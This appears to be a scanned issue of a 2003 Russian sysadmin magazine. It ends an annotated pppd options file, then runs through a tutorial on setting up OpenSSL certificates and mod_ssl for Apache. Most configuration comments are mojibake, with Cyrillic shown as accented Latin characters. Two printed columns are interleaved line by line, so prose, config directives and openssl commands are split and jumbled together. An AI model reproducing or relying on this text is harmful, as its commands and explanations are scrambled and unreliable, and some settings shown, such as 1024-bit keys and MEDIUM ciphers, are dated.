# èëè 0x5e. # Íå ïåðåõîäèòü â ôîíîâûé ðåæèì # àóòåíòèôèêàöèè. Íàïðèìåð, åñëè
#escape 11,13,ff # (èíà÷å pppd áóäåò äåëàòü òàê, åñëè # gethostname() âîçâðàùàåò èìÿ
# ïîñëåäîâàòåëüíîå óñòðîéñòâî # porsche, íî FQDN – porsche.Quotron.COM,
# Íå èñïîëüçîâàòü ëèíèè óïðàâëåíèÿ # óêàçàíî). # òî âû äîëæíû óñòàíîâèòü ýòó îïöèþ,
# ìîäåìîì. #-detach # ÷òîáû èìÿ äîìåíà áûëî Quotron.COM.
#local #domain <d>
# Çàïðåòèòü äîãîâàðèâàòüñÿ îá IP-àä-
# Óêàçûâàåò, ÷òî pppd äîëæåí # ðåñå (Ñ ýòîé îïöèåé óäàëåííûé IP- # Ðàçðåøèòü îòëàäî÷íûé êîä â PPP-
# èñïîëüçîâàòü lock â ñòèëå UUCP íà # àäðåñ äîëæåí óêàçûâàòüñÿ îïöèåé êî- # äðàéâåðå íà óðîâíå ÿäðà. Àðãóìåíò
# ïîñëåäîâàòåëüíîå óñòðîéñòâî, ÷òîáû # ìàíäíîé ñòðîêè èëè â ôàéëå options). # n – ýòî ÷èñëî, êîìáèíàöèÿ ñëåäóþùèõ
# èñêëþ÷èòü îäíîâðåìåííûé äîñòóï ê #-ip # çíà÷åíèé: 1 – ðàçðåøèòü îáùèå
# óñòðîéñòâó. # îòëàäî÷íûå ñîîáùåíèÿ, 2 –
#lock # Çàïðåòèòü äîãîâàðèâàòüñÿ î # çàïðîñèòü, íàäî ëè ïå÷àòàòü
# ìàãè÷åñêèõ ÷èñëàõ. Ñ ýòîé îïöèåé # ñîäåðæèìîå ïðèíèìàåìûõ ïàêåòîâ
# Èñïîëüçîâàòü ëèíèè óïðàâëåíèÿ # pppd íå ìîæåò îïðåäåëèòü # è 4 – çàïðîñèòü, íàäî ëè ïå÷àòàòü
# ìîäåìîì. Íà Ultrix ýòà îïöèÿ # looped-back ëèíèþ. # ñîäåðæèìîå îòïðàâëÿåìûõ ïàêåòîâ.

30
администрирование
#kdebug n # óäàëåííàÿ ñòîðîíà äîëæíà îòâå÷àòü #ipcp-restart <n>
# íà echo-request îòïðàâêîé echo-reply.
# Óñòàíîâòü çíà÷åíèå MTU [Maximum # Ýòà îïöèÿ ìîæåò áûòü èñïîëüçîâàíà ñ # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî
# Transmit Unit] â <n>. Ïîêà äðóãàÿ # îïöèåé lcp-echo-failure äëÿ # ïåðåäà÷ IPCP terminate-request â <n>
# ñòîðîíà íå ïîïðîñèò ìåíüøåå çíà÷åíèå # îïðåäåëåíèÿ ÷òî óäàëåííàÿ ñòîðîíà # (ïî óìîë÷àíèþ – 3).
# ïðè äîãîâîðå î MRU, pppd áóäåò # áîëüøå íå ñîåäèíåíà. #ipcp-max-terminate <n>
# òðåáîâàòü ó ñåòåâîãî êîäà ÿäðà #lcp-echo-interval <n>
# îòïðàâëÿòü ïàêåòû äàííûõ íå áîëåå # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî
# ÷åì ïî n áàéò ÷åðåç ñåòåâîé # Åñëè ýòà îïöèÿ çàäàíà, pppd áóäåò # ïåðåäà÷ IPCP configure-request â <n>
# èíòåðôåéñ PPP. # ñ÷èòàòü, ÷òî ñâÿçè ñ peer íåò, åñëè n # (ïî óìîë÷àíèþ – 10).
#mtu <n> # LCP echo-requests îòïðàâëåíû áåç #ipcp-max-configure <n>
# ïðèåìà ïðàâèëüíûõ LCP echo-reply.
# Óñòàíîâèòü èìÿ ëîêàëüíîé ñèñòåìû # Åñëè ýòî ñëó÷èëîñü, pppd çàâåðøèò # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî IPCP
# äëÿ àóòåíòèôèêàöèîííûõ öåëåé â <n>. # ñâÿçü. Èñïîëüçîâàíèå ýòîé îïöèè # configure-NAKs, âîçâðàùåííûõ ïåðåä
# Âîçìîæíî, åå íàäî áóäåò óñòàíîâèòü # òðåáóåò íåíóëåâîãî çíà÷åíèÿ äëÿ # íà÷àëîì îòïðàâêè âìåñòî configure-
# â âàøå èìÿ íà âàøåì ISP, åñëè # ïàðàìåòðà lcp-echo-interval. # Rejects, â <n> (ïî óìîë÷àíèþ – 10).
# èñïîëüçóåòñÿ PAP/CHAP. # Ýòà îïöèÿ ìîæåò áûòü èñïîëüçîâàíà, #ipcp-max-failure <n>
#name <n> # ÷òîáû ðàçðåøèòü pppd çàâåðøàòü ñâÿçü,
# åñëè ôèçè÷åñêîå ñîåäèíåíèå îòñóòñòâóåò # Óñòàíîâèòü èíòåðâàë ðåñòàðòà PAP
# Óñòàíîâèòü èìÿ ïîëüçîâàòåëÿ äëÿ # (íàïð, ìîäåì áðîñèë òðóáêó) â # (ïàóçà âîçîáíîâëåíèÿ ïåðåäà÷è) â <n>
# àóòåíòèôèêàöèè ýòîé ìàøèíû íà # ñèòóàöèÿõ, êîãäà äîñòóïíû ëèíèè # ñåêóíä (ïî óìîë÷àíèþ – 3).
# äðóãîé ñòîðîíå èñïîëüçóÿ PAP, # óïðàâëåíèÿ ìîäåìîì. #pap-restart <n>
# â çíà÷åíèå <n>. ÍÅ èñïîëüçîâàòü, #lcp-echo-failure <n>
# åñëè âû èñïîëüçîâàëè îïöèþ 'name'! # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî
#user <n> # Óñòàíîâèòü èíòåðâàë ðåñòàðòà LCP # ïåðåäà÷ PAP authenticate-request â
# (ïàóçà âîçîáíîâëåíèÿ ïåðåäà÷è) â # <n> (ïî óìîë÷àíèþ – 10).
# Çàñòàâèòü èñïîëüçîâàòü èìÿ õîñòà # <n> ñåêóíä (ïî óìîë÷àíèþ – 3). #pap-max-authreq <n>
# êàê èìÿ ëîêàëüíîé ñèñòåìû äëÿ #lcp-restart <n>
# àóòåíòèôèêàöèîííûõ öåëåé # Óñòàíîâèòü èíòåðâàë ðåñòàðòà CHAP
# (ïåðåêðûâàåò îïöèþ name). # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî # (ïàóçà âîçîáíîâëåíèÿ ïåðåäà÷
#usehostname # ïåðåäà÷ LCP terminate-request â <n> # challenges) â <n> ñåêóíä
# (ïî óìîë÷àíèþ – 3). # (ïî óìîë÷àíèþ – 3).
# Óñòàíîâèòü èìÿ óäàëåííîé ñèñòåìû #lcp-max-terminate <n> #chap-restart <n>
# äëÿ àóòåíòèôèêàöèîííûõ öåëåé â <n>.
#remotename <n> # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî
# ïåðåäà÷ LCP configure-request â <n> # ïåðåäà÷ CHAP challenge â <n>
# Äîáàâèòü çàïèñü äëÿ ýòîé ñèñòåìû â # (ïî óìîë÷àíèþ – 10). Íåêîòîðûå PPP- # (ïî óìîë÷àíèþ – 10).
# òàáëèöó ARP [Address Resolution # ñåðâåðà äîëãî ñòàðòóþò. Âàì ìîæåò #chap-max-challenge
# Protocol] ñ IP-àäðåñîì óäàëåííîé # ïîíàäîáèòüñÿ óâåëè÷èòü ýòó âåëè÷èíó,
# ñèñòåìû è Ethernet àäðåñîì ýòîé # åñëè âû ïîëó÷àåòå îøèáêè 'serial # Ñ ýòîé îïöèåé pppd áóäåò re-challenge
# ñèñòåìû. # line looped back' è âû ÓÂÅÐÅÍÛ, # óäàëåííóþ ñòîðîíó êàæäûå <n> ñåêóíä.
#proxyarp # ÷òî êîððåêòíî ðåãèñòðèðóåòåñü è PPP #chap-interval <n>
# äîëæåí çàïóñêàòüñÿ íà ñåðâåðå.
# Èñïîëüçîâàòü áàçó äàííûõ ïàðîëåé #lcp-max-configure <n> # Ñ ýòîé îïöèåé pppd áóäåò ïðèíèìàòü
# äëÿ èäåíòèôèêàöèè óäàëåííîé ñòîðîíû, # ïðåäëîæåíèå peer î íàøåì ëîêàëüíîì
# èñïîëüçóÿ PAP. # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî LCP # IP-àäðåñå, äàæå åñëè ëîêàëüíûé
#login # configure-NAKs, âîçâðàùåííûõ ïåðåä # IP-àäðåñ áûë óêàçàí â îïöèÿõ.
# íà÷àëîì îòïðàâêè âìåñòî configure- #ipcp-accept-local
# Åñëè ýòà îïöèÿ íàçíà÷åíà, pppd áóäåò # Rejects, â <n> (ïî óìîë÷àíèþ – 10). # Ñ ýòîé îïöèåé pppd áóäåò ïðèíèìàòü
# îòïðàâëÿòü êàäð LCP echo-request #lcp-max-failure <n> # ïðåäëîæåíèå peer î åãî (óäàëåííîì)
# óäàëåííîé ñòîðîíå êàæäûå n ñåêóíä. # IP-àäðåñå, äàæå åñëè óäàëåííûé
# Ïîä Linux, echo-request îòïðàâëÿ- # Óñòàíîâèòü èíòåðâàë ðåñòàðòà IPCP # IP-àäðåñ áûë óêàçàí â îïöèÿõ.
# åòñÿ, êîãäà ïàêåòû íå ïðèíèìàþòñÿ îò # (ïàóçà âîçîáíîâëåíèÿ ïåðåäà÷è) â <n> #ipcp-accept-remote
# óäàëåííîé ñòîðîíû n ñåêóíä. Îáû÷íî # ñåêóíä (ïî óìîë÷àíèþ – 3). #EOF

№2(3), февраль 2003 31


администрирование

ПРАКТИКА O PEN SSL

ВСЕВОЛОД СТАХОВ

OpenSSL применяется во множестве сетевых серверов. ты через ssl в локальной сети обычно используются self-
В данной статье я бы хотел рассказать о работе с ssl апа- signed сертификаты, что естественно. Сертификат серве-
ча, постфикса и курьера. Соответственно происходит ра обычно подписывается сертификатом организации.
шифрация трафика http-, smtp- и imap(pop3)-протоколов. Итак, сгенерируем секретный ключ RSA и self-signed
При использовании шифрации ssl обычно меняется порт, сертификат организации:
чтобы клиент мог корректно определить использование
безопасного соединения. Для начала я расскажу об ис- dd if=/dev/urandom of=/etc/openssl/.rnd -count 64
openssl genrsa -rand /etc/openssl/.rnd -des3 -out /etc/
пользовании ssl в апаче. openssl/org.key
Апач может работать с ssl через модуль mod_ssl, кото- openssl req -new -key /etc/openssl/org.key -config \
/etc/openssl/org.cnf -out /etc/openssl/
рый может быть скачан с www.apache-ssl.org. Для компи- org.csr
ляции апача с данным модулем выполняем следующее: openssl x509 -req -signkey /etc/openssl/org.key -in /etc/
openssl/org.csr \
-extfile /etc/openssl/org.cnf -out /etc/openssl/
$ cd /usr/src/apache_1.3.x/src org.crt -days 365
$ SSL_BASE=/usr/src/mod_ssl/ ./configure — ... –enable-
module=ssl
Пример конфига сертификата организации (CA-серти-
После успешной компиляции необходимо получить сер- фикат, поэтому определяем некоторые расширения, ко-
тификат организации. Тут есть два пути: первый – это со- торые указываем программе x509):
здать self-signed сертификат, второй – получить сертифи-
кат от trusted root CA. Скорее всего, второй вариант будет [ req ]
default_bits = 1024
небесплатный, например, на www.thawte.com предлагают distinguished_name = req_DN
продать сертификат www-сервера за 160$ сроком действия RANDFILE = ca.rnd
extensions = v3_req
на год. С другой стороны, такой способ обеспечивает пол- [ req_DN ]
ную безопасность клиента, т.к. он будет знать, что серти- countryName = "1. Country Name
(2 letter code)"
фикат действителен. Обычно у браузеров есть набор trusted countryName_default = RU
root CA, и когда браузер получает сертификат, подписан- countryName_min = 2
countryName_max = 2
ный одним из trusted ca, то он может корректно проверить stateOrProvinceName = "2. State or Province
подпись и решить на её основании о действительности сер- Name
(full name)"
тификата www-сервера. Если же браузер получает self- stateOrProvinceName_default = region
signed сертификат, то он спрашивает у пользователя, мож- localityName = "3. Locality Name
(eg, city)"
но ли доверять этому сертификату, т.к. в этом случае кли- localityName_default = city
ент не может точно определить, откуда к нему пришёл этот 0.organizationName = "4. Organization Name
(eg, company)"
сертификат и не может проверить его подпись, т.к. она не 0.organizationName_default = organization
входит в его trusted root CA. В качестве альтернативного organizationalUnitName = "5. Organizational Unit
Name (eg, section)"
варианта, если вы работаете с несколькими крупными кли- organizationalUnitName_default = Certificate Authority
ентами, можно посоветовать принести каждому клиенту commonName = "6. Common Name
(eg, CA name) "
свой сертификат (например, на дискетке или компакте) и commonName_max = 64
вручную добавить его в trusted root CA клиента. Для рабо- commonName_default = ""

32
администрирование
emailAddress = "7. Email Address # Ñëóøàåì íà ïîðòó 443(https).
Listen 443
(eg,cert@organization.ru)" # Îïðåäåëÿåì ñïîñîá çàïðîñà ïàðîëÿ ê ñåêðåòíîìó êëþ÷ó
emailAddress_max = 40 # ñåðâåðà êàê built-in, èëè ìîæíî îïðåäåëèòü ïóòü ê
emailAddress_default = "" # âíåøíåìó ñêðèïòó, íî â áîëüøèíñòâå ñëó÷àåâ äîñòàòî÷íî
[ v3_req ] # built-in-ìåòîäà.
subjectAltName = email:copy SSLPassPhraseDialog builtin
basicConstraints = CA:true # Îïðåäåëÿåì êåøèðîâàíèå äàííûõ ssl â ôàéëå äàííûõ
nsComment = "CA certificate of # (none äëÿ îòêëþ÷åíèÿ êåøèðîâàíèÿ) è òàéìàóò îáíîâëåíèÿ
our organization" # äàííûõ â êåøå. Ìîæíî èñïîëüçîâàòü ïðè óêàçàíèè ôàéëà
nsCertType = sslCA # êåøà ñïåöèàëüíûé ôîðìàò shm (shm:/path/file [size]),
# êîòîðûé îáåñïå÷èâàåò âûñîêóþ ïðîèçâîäèòåëüíîñòü è
Теперь создаём сертификат сервера: # ðàáîòàåò ÷åðåç ìåõàíèçì shared memory.
SSLSessionCache dbm:logs/ssl_scache
#SSLSessionCache none
dd if=/dev/urandom of=/etc/openssl/.rnd count=64 SSLSessionCacheTimeout 300
openssl genrsa -rand /etc/openssl/.rnd -out /etc/openssl/ # Íàñòðàèâàåì ãåíåðàòîð ñëó÷àéíûõ ÷èñåë, óêàçûâàåì ìåòîä
httpd.key # äëÿ ðàíäîìèçàöèè. Óêàçûâàåòñÿ äâà èñòî÷íèêà ðàíäîìèçàöèè:
openssl req -new -key /etc/openssl/httpd.key -config / # íà÷àëüíûé (startup) è èíèöèàëèçèðóþùèéñÿ ïðè ïðèñîåäèíåíèè
etc/openssl/httpd.cnf \ # êëèåíòà (connect). Âîçìîæíûå çíà÷åíèÿ äëÿ ýòîãî ïàðàìåòðà:
-out /etc/openssl/httpd.csr # builtin – âñòðîåííûé èñòî÷íèê ðàíäîìèçàöèè,
# file:èìÿ_ôàéëà – ÷èòàþòñÿ äàííûå èç ôàéëà,
# file:èìÿ_ôàéëà ÷èñëî_áàéò – ÷èòàåòñÿ òîëüêî îïðåäåë¸ííîå
И подписываем его сертификатом организации: # ÷èñëî áàéò èç ôàéëà (ïîëåçíî äëÿ /dev/random
# è /dev/urandom)
SSLRandomSeed startup file:/dev/random 512
openssl x509 -req -signkey /etc/openssl/org.key -CA /etc/ SSLRandomSeed connect file:/dev/random 512
openssl/org.crt \ #SSLRandomSeed startup builtin
-extfile /etc/openssl/httpd.conf -out /etc/ #SSLRandomSeed connect builtin
openssl/httpd.crt \ #SSLRandomSeed startup file:/dev/urandom 512
-days 365 #SSLRandomSeed connect file:/dev/urandom 512
# Íàñòðàèâàåì ëîãè ssl. Óêàçûâàåì ôàéë è óðîâåíü çàïèñè
# â ëîã, âîçìîæíûå çíà÷åíèÿ óðîâíÿ ïî âîçðàñòàþùåìó ÷èñëó
Опять же здесь нужны расширения для серверного сер- # ðåãèñòðèðóåìûõ äàííûõ: none, error, warn, info, trace,
# debug.
тификата, ещё учтите, что лучше задавать CN серверно- SSLLog logs/ssl_engine_log
го сертификата как имя сервера: SSLLogLevel info

extensions = v3_req После настройки самого апача обычно приступают к


[ v3_req ] настройке виртуального ssl-сервера. Обычно основной
basicConstraints = CA:false
nsComment = "Apache server certificate" сервер оставляют висеть на 80 порту, а на главной стра-
nsCertType = server нице размещают ссылку на переход в безопасный режим
(или ставят редирект, но это уж дело вкуса или политики
И ещё одна тонкость: при создании секретного ключа безопасности).
сервера его лучше не шифровать. Хотя если это необхо-
димо в соображениях безопасности, то можно и зашиф- vhosts.conf
<IfModule mod_ssl.c>
ровать, но при этом апач при запуске будет спрашивать # Îïðåäåëÿåì âèðòóàëüíûé ñåðâåð, âèñÿùèé íà òîì æå
пароль секретного ключа сервера (на экране при этом ни- # IP-àäðåñå, ÷òî è îñíîâíîé, íî ñëóøàþùèé íà 443 ïîðòó.
<VirtualHost _default_:443>
чего отображаться не будет, поэтому если вы долго ждё-
те запуска апача при включенном ssl и зашифрованном # Îñíîâíûå íàñòðîéêè âèðòóàëüíîãî ñåðâåðà.
DocumentRoot /var/www/html
ключе, попробуйте ввести пароль). ServerName www.test.ru
После генерации сертификата начинаем настройку ServerAdmin admin@test.ru
ErrorLog logs/ssl-error_log
апача. Имеет смысл при использовании ssl создать от- TransferLog logs/ssl-access_log
дельный файл конфигурации, который будет описывать
# Ñëåäóþùàÿ äèðåêòèâà âêëþ÷àåò ssl äëÿ äàííîãî
параметры ssl. Также обычно создаётся виртуальный # âèðòóàëüíîãî ñåðâåðà.
сервер ssl, который висит на 443 порту (https), в отличие SSLEngine on
от стандартных виртуальных серверов, ssl-сервер дол- # Ñïèñîê äîñòóïíûõ àëãîðèòìîâ øèôðîâàíèÿ. Ôîðìàò ñïèñêà
жен однозначно соответствовать паре IP-адрес : порт (т.е. # òàêîé æå, êàê è ó êîìàíäû openssl ciphers (MEDIUM, HIGH,
# NULL, ýëåìåíòû ðàçäåëÿþòñÿ :, èñêëþ÷åíèå ýëåìåíòà
на один IP-адрес и порт можно повесить только один ssl- # îñóùåñòâëÿåòñÿ çíàêîì !).
виртуальный сервер). Для начала включим ssl-модуль в SSLCipherSuite HIGH:MEDIUM
апаче. После этого все настройки ssl полезно окружить # Ñåðòèôèêàò ñåðâåðà. Äàííûé ñåðòèôèêàò äîëæåí áûòü â
условием <IfModule mod_ssl.c></IfModule>: # ôîðìàòå pem.
SSLCertificateFile /etc/openssl/httpd.crt
httpd.conf # Ñåêðåòíûé êëþ÷ ñåðâåðà, êîòîðûì îí áóäåò ðàñøèôðîâûâàòü
# Çàãðóæàåì ìîäóëü ssl (îí ìîæåò íàõîäèòüñÿ â modules èëè # äàííûå êëèåíòà. Åñëè êëþ÷ çàøèôðîâàí, òî ïðè çàïóñêå
# extramodules). Ó÷òèòå, åñëè âû èñïîëüçóåòå ìîäóëü mod_php, # àïà÷à áóäåò ñïðàøèâàòüñÿ ïàðîëü, êàê îïðåäåëåíî
# òî åãî íåîáõîäèìî äîáàâèòü ÏÎÑËÅ ìîäóëÿ ssl, èíà÷å # â îïöèè SSLPassPhraseDialog.
# ïîñëåäñòâèÿ ìîãóò áûòü ïå÷àëüíû (core dumpted). SSLCertificateKeyFile /etc/openssl/httpd.key
LoadModule ssl_module modules/libssl.so
AddModule mod_ssl.c # Ñëåäóþùèå äèðåêòèâû îïèñûâàþò CA-ñåðòèôèêàòû. Åñëè óêàçàí
# Äîáàâëÿåì íåêîòîðûå MIME-òèïû. # ïàðàìåòð SSLCACertificatePath, òî CA-ñåðòèôèêàòû
AddType application/x-x509-ca-cert .crt # çàãðóæàþòñÿ èç óêàçàííîãî êàòàëîãà (â ýòîì êàòàëîãå äîëæíû
AddType application/x-pkcs7-crl .crl # òàêæå ðàçìåùàòüñÿ ñèìâîëè÷åñêèå ññûëêè ñ èìåíåì
AddType application/x-pkcs12-cert .p12 # hash-value.N, ïðè äîáàâëåíèè íîâîãî ôàéëà ñåðòèôèêàòà
# â äàííûé êàòàëîã íåîáõîäèìî âîñïîëüçîâàòüñÿ ñïåöèàëüíûì

№2(3), февраль 2003 33


администрирование
# makefile, èäóùèì âìåñòå ñ ìîäóëåì). Åñëè óêàçàí ïàðàìåòð
# SSLCACertificateFile, òî âñå ÑÀ-ñåðòèôèêàòû õðàíÿòñÿ # Ïåðåìåííûå, óñòàíàâëèâàåìûå äëÿ íåêîòîðûõ áðàóçåðîâ.
# â îäíîì pem-ôàéëå (ñåðòèôèêàòû ïðîñòî çàïèñûâàþòñÿ îäèí # Âîîáùå-òî âñå áðàóçåðû äîëæíû ïîëó÷èòü ïåðåä çàâåðøåíèåì
# çà äðóãèì â äàííûé ôàéë áåç âñÿêèõ ðàçäåëèòåòëåé, # ssl-ñåàíñà ñîîáùåíèå îò ñåðâåðà, ÷òî ñîîòâåòñòâóåò
# ò.ê. ëþáîé ñåðòèôèêàò èìååò ìàðêåð íà÷àëà è êîíöà) # ñòàíäàðòó, íî íåêîòîðûå (îñîáåííî çäåñü êðàñóåòñÿ îñëèê)
#SSLCACertificatePath @@ServerRoot@@/conf/ssl/ssl.crt # î÷åíü íåêîððåêòíî (ìÿãêî ãîâîðÿ) çàâåðøàþò ðàáîòó ñ ssl,
SSLCACertificateFile /etc/openssl/org.crt # ïîýòîìó ïðèõîäèòñÿ óñòàíàâëèâàòü ïåðåìåííóþ
# ssl-unclean-shutdown, êîòîðàÿ ãîâîðèò î òîì, ÷òî ïðè
# Ñïèñîê ñåðòèôèêàòîâ, êîòîðûå ñ÷èòàþòñÿ # çàâåðøåíèè ñîåäèíåíèÿ ñåðâåð íå äîëæåí íè ïîñûëàòü
# íåäåéñòâèòåëüíûìè (certificate revocation list - CRL) # ñîîáùåíèå, íè ïðèíèìàòü ïîäòâåðæäåíèå îò áðàóçåðà
# ïî íåêèì ïðè÷èíàì: ïî ïðîèñøåñòâèè ñðîêà äåéñòâèÿ, # (÷òî òîæå ìîæåò äåëàòüñÿ íåêîòîðûìè áðàóçåðàìè). Êðîìå
# ïî ïîòåðå ñåêðåòíîãî êëþ÷à è.ò.ä. Ýòî ïîíÿòèå òðåáóåò # ýòîãî, îñëèê åù¸ â ñëó÷àå ssl-ñîåäèíåíèÿ ïëîõî ðàáîòàåò
# íåêîòîðîãî îáúÿñíåíèÿ, ïîýòîìó ïîñëå äàííîãî ïðèìåðà # ñ keepalive-ñîîáùåíèÿìè (âûçûâàÿ ðàçðûâ ssl-ñîåäèíåíèÿ),
# ÿ ðàññêàæó (íåñêîëüêî çàïîçäàëî) î ñîçäàíèè òàêîãî ñïèñêà. # ïîýòîìó ïðèõîäèòñÿ óñòàíàâëèâàòü åù¸ ïåðåìåííóþ
# Ñèíòàêñèñ ýòèõ ïàðìåòðîâ àíàëîãè÷åí ïðåäûäóùèì # nokeepalive. Ó îñëà òàêæå åñòü åù¸ ïàðà íåäîñòàòêîâ:
#SSLCARevocationPath @@ServerRoot@@/conf/ssl/ssl.crl # îí íå ðàáîòàåò ñ àäðåñîì âðîäå https://192.168.1.1
SSLCARevocationFile /etc/openssl/ssl.crl # è íåêîòîðûå åãî âåðñèè íå ïîääåðæèâàþò ðàáîòó ñ sslv3.
# À âîîáùå ïðè âûáîðå àëãîðèòìîâ øèôðîâàíèÿ –
# Àóòåíòèôèêàöèÿ êëèåíòà íà îñíîâàíèè åãî ñåðòèôèêàòà, # SSLCipherSuite – ïðîñìîòðèòå ñïèñîê àëãîðèòìîâ,
# âûäàííîãî CA (ñì. îïöèþ SSLCACertificate). Â ãëîáàëüíîé # ïîääåðæèâàåìûõ êëèåíòñêèì áðàóçåðîì è, èñõîäÿ èç ýòîãî,
# êîíôèãóðàöèè ÿ óñòàíîâèë ýòó îïöèþ â none, íî ýòà îïöèÿ # âûáèðàéòå íóæíîå (+) è îòñåêàéòå íåíóæíîå (-).
# ìîæåò áûòü ïåðåîïðåäåëåíà â êîíêðåòíîé <Directory> SetEnvIf User-Agent ".*MSIE.*" nokeepalive ssl-unclean-
# èëè <Location>, êàê è ñäåëàíî â äàííîì ïðèìåðå shutdown
# SSLVerifyClient none. Òåïåðü îïðåäåëèì íåêèé ðàçäåë,
# äîñòóï â êîòîðûé ïðåäîñòàâèì òîëüêî ñîòðóäíèêàì # Óñòàíàâëèâàåì ñïåöèàëüíûé ëîã, âêëþ÷àåì îïðåäåëåíèå
# îïðåäåë¸ííûõ îòäåëîâ. Êëèåíò äîëæåí áóäåò ïîñëàòü ñâîé # ïðîòîêîëà è àëãîðèòìà øèôðîâàíèÿ.
# ñåðòèôèêàò, êîòîðûé ïîäïèñàí îäíèì èç CA-ñåðòèôèêàòîâ. CustomLog logs/ssl_request_log \
<Location /secure> "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
# Òðåáóåì îò êëèåíòà ïîñûëêè ñâîåãî ñåðòèôèêàòà äëÿ
# âûïîëíåíèÿ àóòåíòèôèêàöèè. # Ïåðåçàïóñêàåì àïà÷, åñëè ssl îêàçàëñÿ íåâêëþ÷åííûì.
SSLVerifyClient require RewriteEngine on
# ×èñëî øàãîâ îò ñåðòèôèêàòà êëèåíòà äî CA-ñåðòèôèêàòà RewriteCond %{HTTPS} !=on
# â èåðàðõèè ñåðòèôèêàòîâ. RewriteOptions inherit
SSLVerifyDepth 5
# Ïðîâåðêà ñåðòèôèêàòà êëèåíòà. Äëÿ íà÷àëà íåîáõîäèìî, </VirtualHost>
# ÷òîáû ñåðòèôèêàò êëèåíòà áûë ïîäïèñàí îäíèì èç CA-
# ñåðòèôèêàòîâ, òîãäà ñåðâåð ìîæåò áûòü óâåðåí, ÷òî </IfModule>
# ñåðòèôèêàò êëèåíòà ÿâëÿåòñÿ äåéñòâèòåëüíûì, êðîìå ýòîãî,
# ïîëó÷åííûé ñåðòèôèêàò íå äîëæåí íàõîäèòüñÿ â ñïèñêå
# íåäåéñòâèòåëüíûõ (crl) ñåðòèôèêàòîâ. Ñèíòàêñèñ äàííîé Для проверки работы сервера ssl обычно применяет-
# êîìàíäû ñ ïåðâîãî âçãëÿäà ìîæåò ïîêàçàòüñÿ íåñêîëüêî
# ñëîæíûì, íî îí èñïîëüçóåò ðåãóëÿðíûå âûðàæåíèÿ, ïîäîáíûå ся утилита openssl s_client, которая эмулирует поведение
# ïåðëîâñêèì, è ëîãè÷åñêèå îïåðàòîðû (and, or, !). ssl клиента (фактически, ssl telnet):
#  êà÷åñòâå ïåðåìåííûõ ìîãóò èñïîëüçîâàòüñÿ êàê ñòàíäàðòíûå
# ïåðåìåííûå, âðîäå REMOTE_ADDR, TIME, òàê è ïåðåìåííûå
# ssl. Ñðåäè ïîñëåäíèõ íàèáîëåå ïîëåçíû ñëåäóþùèå:
# SSL_CIPHER, SSL_CLIENT_S_DN_(ïàðàìåòðû DN êëèåíòà, openssl s_client -connect ww.test.ru:443 [-cert file] [-
# âðîäå O, OU, Ñ è.ò.ä.), SSL_CLIENT_I_DN_(ïàðàìåòðû debug] [-ciphers list]
# DN ïîñòàâùèêà ñåðòèôèêàòà).
SSLRequire %{SSL_CIPHER} !~ m/^(EXP|NULL)-/ \
and %{SSL_CLIENT_S_DN_O} eq "organization" \ Клиент может передать серверу сертификат (аутнен-
and %{SSL_CLIENT_S_DN_OU} in {"Sysopka", "CA", тификация по сертификату), указав опцию -cert, опция
"BigBosses"}
</Location> -debug включает в вывод дополнительную отладочную
информацию, включая hex-дампы каждого пакета. Для
# Îïðåäåëÿåì îïöèè ssl (îíè ìîãóò áûòü ïåðåîïðåäåëåíû â
# <Directory>): проверки апача можно также применить свой любимый
# FakeBasicAuth: браузер (мой любимый – lynx):
# Äàííàÿ îïöèÿ ãîâîðèò àïà÷ó, ÷òî ìîæíî èñïîëüçîâàòü
# àóòåíòèôèêàöèþ íà îñíîâå ñåðòèôèêàòà, íî íàñòðîéêè
# ôèëüòðàöèè ñåðòèôèêàòà ëåæàò â ôàéëå .htpasswd, lynx https://www.test.ru
# êîòîðûé âûãëÿäèò ïðèìåðíî ñëåäóþùèì îáðàçîì:
#/C=RU/L=city/O=organization/OU=sysopka
CN=admin:xxj31ZMTZzkVA При этом в лог записывается примерно следующее
#/C=RU/L=city/O=organization/OU=bosses/
CN=my_boss:xxj31ZMTZzkVA (если сервер настроен правильно):
#/C=US/L=New York/O=Microsoft/OU=head/
CN=Billy:xxj31ZMTZzkVA
# Ãäå ñèìâîëû "xxj31ZMTZzkVA" – ýòî des-âàðèàíò ñëîâà [10/Nov/2002 17:41:34 04803] [info] Connection to child
# password (íåîáõîäèìîå óñëîâèå), íà íåêîòîðûõ ñèñòåìàõ 0 established (server localhost.localdomain:443, client
# íóæíî çäåñü ïîñòàâèòü md5-õåø ýòîãî ñëîâà 127.0.0.1)
#$1$OXLyS...$Owx8s2/m9/gfkcRVXzgoE/. [10/Nov/2002 17:41:34 04803] [info] Seeding PRNG with
# ExportCertData: 23177 bytes of entropy
# Äàííûé ïàðàìåòð óñòàíàâëèâàåò, ÷òî CGI-ñêðèïòàì áóäóò [10/Nov/2002 17:41:35 04803] [info] Connection: Client
# ïåðåäàâàòüñÿ ïåðåìåííûå SSL_SERVER_CERT (âñåãäà), IP: 127.0.0.1, Protocol: TLSv1, Cipher: EDH-RSA-DES-CBC3-SHA
# SSL_CLIENT_CERT (åñëè êëèåíò ïîñëàë ñâîé ñåðòèôèêàò), (168/168 bits)
# êîòîðûå ñîäåðæàò ñåðòèôèêàòû ñåðâåðà è êëèåíòà [10/Nov/2002 17:41:35 04803] [info] Initial (No.1) HTTPS
# ñîîòâåòñòâåííî â ôîðìàòå pem. request received for child 0 (server
# StrictRequire: localhost.localdomain:443)
# Ýòà îïöèÿ ïðèìåíÿåòñÿ ñîâìåñòíî ñ îïöèåé satisfy è [10/Nov/2002 17:41:35 04803] [info] Connection to child
# îáåñïå÷èâàåò çàïðåò äîñòóïà êëèåíòà, åñëè åãî 0 closed with standard shutdown (server
# ñåðòèôèêàò íå ñîîòâåòñòâóåò RequireSSL localhost.localdomain:443, client 127.0.0.1)
# OptRenegotiate:
# Äàííàÿ îïöèÿ ïðèìåíÿåòñÿ òîëüêî â ïàðàìåòðàõ <Directory>
# è çàñòàâëÿåò ssl çàíîâî èíèöèàëèçèðîâàòü ñîåäèíåíèå Итак, могу привести парочку примеров применения ssl-
# ñ êëèåíòîì
